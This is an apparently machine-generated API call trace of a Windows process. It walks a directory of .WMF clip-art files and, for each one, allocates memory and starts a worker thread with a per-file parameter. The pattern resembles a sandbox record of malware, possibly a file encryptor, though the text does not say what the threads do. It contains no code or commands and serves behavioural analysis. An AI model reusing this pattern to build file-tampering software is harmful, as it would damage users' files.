	[0238.382] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5804, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107152.WMF", cAlternateFileName="")) returned 1
	[0238.382] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1850
	[0238.384] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.384] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x571c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107154.WMF", cAlternateFileName="")) returned 1
	[0238.384] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1854
	[0238.386] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.386] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x614c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107158.WMF", cAlternateFileName="")) returned 1
	[0238.387] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1858
	[0238.389] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.389] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107182.WMF", cAlternateFileName="")) returned 1
	[0238.389] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x185c
	[0238.391] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.391] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107188.WMF", cAlternateFileName="")) returned 1
	[0238.391] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f08f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1860
	[0238.393] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.394] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26f0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107192.WMF", cAlternateFileName="")) returned 1
	[0238.394] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f3fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1864
	[0238.395] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.396] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ef4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107254.WMF", cAlternateFileName="")) returned 1
	[0238.396] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f76b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1868
	[0238.434] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.435] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107258.WMF", cAlternateFileName="")) returned 1
	[0238.435] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x186c
	[0238.436] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.437] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f3c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107262.WMF", cAlternateFileName="")) returned 1
	[0238.437] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.438] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1870
	[0238.439] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.440] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107264.WMF", cAlternateFileName="")) returned 1
	[0238.440] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fe470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1874
	[0238.442] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.443] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107266.WMF", cAlternateFileName="")) returned 1
	[0238.443] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f501b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1878
	[0238.444] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.445] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b64, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107280.WMF", cAlternateFileName="")) returned 1
	[0238.445] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.445] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f505230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x187c
	[0238.447] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.448] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107282.WMF", cAlternateFileName="")) returned 1
	[0238.448] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.448] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f508910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1880
	[0238.450] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.450] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x347c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107288.WMF", cAlternateFileName="")) returned 1
	[0238.450] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50bff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1884
	[0238.452] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.453] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3014, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107290.WMF", cAlternateFileName="")) returned 1
	[0238.453] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50f6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1888
	[0238.455] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.456] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107300.WMF", cAlternateFileName="")) returned 1
	[0238.456] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f512db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x188c
	[0238.458] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.458] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107302.WMF", cAlternateFileName="")) returned 1
	[0238.459] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.459] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f516490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1890
	[0238.460] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.461] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e10, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107308.WMF", cAlternateFileName="")) returned 1
	[0238.461] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f519b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1894
	[0238.463] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.463] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a64, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107314.WMF", cAlternateFileName="")) returned 1
	[0238.463] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f51d250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1898
	[0238.466] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.466] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c18, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107316.WMF", cAlternateFileName="")) returned 1
	[0238.577] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x189c
	[0238.580] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.581] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1984, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107328.WMF", cAlternateFileName="")) returned 1
	[0238.581] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.582] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18a0
	[0238.583] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.584] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107342.WMF", cAlternateFileName="")) returned 1
	[0238.584] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18a4
	[0238.586] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.587] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107344.WMF", cAlternateFileName="")) returned 1
	[0238.587] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.587] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18a8
	[0238.589] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.590] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c78, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107350.WMF", cAlternateFileName="")) returned 1
	[0238.590] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.590] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18ac
	[0238.591] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.592] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107358.WMF", cAlternateFileName="")) returned 1
	[0238.592] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.593] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18b0
	[0238.594] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.595] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40cc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107364.WMF", cAlternateFileName="")) returned 1
	[0238.595] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18b4
	[0238.596] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.597] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ce4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107426.WMF", cAlternateFileName="")) returned 1
	[0238.597] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18b8
	[0238.599] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
